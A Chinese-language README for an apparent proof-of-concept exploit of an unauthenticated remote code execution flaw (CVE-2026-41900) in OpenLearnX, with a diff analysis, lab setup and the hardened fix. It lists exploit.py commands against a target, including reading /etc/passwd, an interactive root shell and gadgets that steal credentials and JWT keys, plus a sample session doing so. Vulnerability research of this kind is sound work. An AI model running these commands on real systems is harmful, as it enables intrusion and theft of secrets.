| 属性 | 值 |
|---|
| 名称 | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| 类型 | 未授权信息泄露 / RCE |
| 受影响版本 | OpenLearnX < 提交 14765d7 |
| 修复版本 | 提交 14765d7 (real_compiler_service) |
| CVSS | 8.6 (高危) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC(我的自动化补丁情报流水线)标记了 OpenLearnX 上的一条静默公告——GHSA-8h25-q488-4hxw 发布时没有任何技术细节。我拉取了修复提交(14765d7)并将其与父提交(d19c4e4)进行了差异对比。
差异对比揭示了全部真相:backend/routes/coding.py 中的 execute_in_container() 被彻底移除,并替换为加固后的 real_compiler_service。旧代码将用户提供的代码写入临时文件,然后将 os.path.dirname(temp_file)——解析为 /tmp——以只读卷的方式挂载到兄弟 Docker 容器中。没有 user=,没有 cap_drop,没有 security_opt。默认以 root 权限运行。
关键点在于:/api/compiler/execute 下的 compiler 蓝图没有认证装饰器。任何未授权请求都可以通过存在漏洞的容器配置触发代码执行。
我在本地实验室中隔离了补丁前的代码,确认了所有攻击向量,并编写了此 PoC。
POST /api/compiler/execute (无认证)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ 解析为 /tmp → 整个 /tmp 被挂载进容器
│
├─ 无 user= → 以 root 运行 (UID 0)
├─ 无 cap_drop → 默认 Docker 能力
├─ 无 security_opt → 默认 seccomp 配置文件
│
└─ 攻击者可读取:密钥、凭据、JWT 密钥、其他用户的提交
| 攻击向量 | 严重性 | CWE | 描述 |
|---|---|---|---|
listing | 高 | CWE-538 | 通过卷挂载列出 /tmp 目录 |
secrets | 严重 | CWE-538 | 从 /tmp 读取凭据、密钥、配置文件 |
submissions | 高 | CWE-538 | 读取其他学生的代码提交 |
rootcheck | 中 | CWE-250 | 确认以 UID 0 (root) 执行 |
caps | 中 | CWE-250 | 导出有效的 Linux 能力 |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# 无依赖 — 仅使用标准库
chmod +x exploit.py
# 检查目标是否存在漏洞
python3 exploit.py --check http://target:5000
# 运行所有攻击向量 + 生成证据 JSON
python3 exploit.py --exploit http://target:5000
# 执行单条命令
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# 进入交互式 shell
python3 exploit.py --shell http://target:5000
# 运行特定攻击向量
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
进入 --shell 后,您将获得一个伪交互式 shell。每条命令都会生成一个新的临时容器。
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] 已下载 jwt_signing_key.pem (235B)
root@container:/app# exit
要在本地复现:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
该实验室部署了一个容器化的 Flask 应用,复现补丁前的 execute_in_container(),具备以下特性:
/tmp提交 14765d7 将 execute_in_container() 替换为 real_compiler_service,其应用了:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # 每次执行使用隔离的临时目录
cap_drop=["ALL"], # 丢弃所有能力
security_opt=["no-new-privileges:true"], # 防止权限提升
user="65534:65534", # nobody,而非 root
...
)
| 日期 | 事件 |
|---|---|
| 2026-04 | OSDC 标记静默公告 GHSA-8h25-q488-4hxw |
| 2026-04 | 对提交 14765d7 与父提交 d19c4e4 进行差异分析 |
| 2026-05 | 实验室复现和 PoC 开发 |
| 2026-05-06 | 完整 PoC 确认 — 全部 5 个攻击向量已验证 |
本工具仅供授权的安全测试和教育目的使用。仅可针对您拥有或已获得明确书面许可的系统使用。未经授权访问计算机系统是违法的。
Christbowel · christbowel.com · Balgo 安全团队